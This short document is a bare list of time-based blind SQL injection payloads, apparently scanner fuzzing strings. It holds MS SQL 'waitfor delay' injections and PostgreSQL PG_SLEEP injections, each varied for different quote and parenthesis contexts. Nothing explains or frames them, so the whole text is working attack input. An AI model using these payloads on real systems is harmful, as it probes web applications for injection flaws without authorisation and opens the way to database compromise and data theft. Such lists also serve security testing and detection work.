1

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

4qv1KLWa'; waitfor delay '0:0:15' --

yS48HQ9N'); waitfor delay '0:0:15' --

uo7dao74')); waitfor delay '0:0:15' --

-5 OR 504=(SELECT 504 FROM PG_SLEEP(15))--

-5) OR 535=(SELECT 535 FROM PG_SLEEP(15))--

-1)) OR 290=(SELECT 290 FROM PG_SLEEP(15))--